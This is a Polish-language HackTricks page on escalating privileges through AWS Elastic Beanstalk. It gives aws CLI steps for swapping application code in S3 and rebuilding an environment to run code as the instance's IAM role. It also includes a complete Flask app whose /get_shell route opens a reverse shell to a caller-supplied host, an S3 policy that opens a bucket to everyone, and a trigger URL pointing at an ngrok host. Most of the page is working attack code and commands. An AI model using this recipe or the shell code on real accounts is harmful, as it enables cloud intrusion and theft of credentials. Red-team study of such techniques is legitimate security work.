AWS - Elastic Beanstalk Privesc

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Elastic Beanstalk

Więcej informacji na temat Elastic Beanstalk znajdziesz w:

pageAWS - Elastic Beanstalk Enum

Aby wykonać czynności wymagające uprawnień w Beanstalk, będziesz musiał mieć wiele wrażliwych uprawnień w wielu różnych usługach. Możesz sprawdzić na przykład uprawnienia nadane dla arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk

elasticbeanstalk:RebuildEnvironment, uprawnienia do zapisu w S3 i wiele innych

Posiadając uprawnienia do zapisu w kubełku S3 zawierającym kod środowiska oraz uprawnienia do odbudowy aplikacji (wymagane jest elasticbeanstalk:RebuildEnvironment oraz kilka innych związanych z S3, EC2 i Cloudformation), możesz modyfikować kod, odbudować aplikację, a następnym razem, gdy uzyskasz dostęp do aplikacji, zostanie wykonany twój nowy kod, umożliwiając atakującemu skompromitowanie aplikacji oraz poświadczeń roli IAM.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, oraz inne...

Wymienione uprawnienia oraz kilka uprawnień do S3, EC2, cloudformation ,autoscaling oraz elasticloadbalancing są niezbędne do stworzenia scenariusza Elastic Beanstalk od podstaw.

  • Utwórz aplikację AWS Elastic Beanstalk:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Jeśli środowisko jest już utworzone i nie chcesz tworzyć nowego, możesz po prostu zaktualizować istniejące.

  • Spakuj kod aplikacji i zależności do pliku ZIP:

zip -r MyApp.zip .
  • Prześlij plik ZIP do wiadra S3:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Utwórz wersję aplikacji AWS Elastic Beanstalk:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Wdroż aplikację do swojego środowiska AWS Elastic Beanstalk:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Po pierwsze musisz utworzyć legitymowe środowisko Beanstalk z kodem, który chcesz uruchomić na ofierze, wykonując poprzednie kroki. Potencjalnie prosty zip zawierający te 2 pliki:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Wymagania: - awsebcli>=3.19.0 - requests>=2.25.1 - beautifulsoup4>=4.9.3 - boto3>=1.17.7 - colorama>=0.4.4 - termcolor>=1.1.0

click==7.1.2
Flask==1.1.2
itsdangerous==1.1.0
Jinja2==2.11.3
MarkupSafe==1.1.1
Werkzeug==1.0.1

Gdy już masz uruchomione własne środowisko Beanstalk z odwróconym powłoką, nadszedł czas, aby je przenieść do środowiska ofiary. Aby to zrobić, musisz zaktualizować politykę kubełka S3 swojego Beanstalk, aby ofiara mogła uzyskać do niego dostęp (Należy pamiętać, że spowoduje to otwarcie kubełka dla KAŻDEGO):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated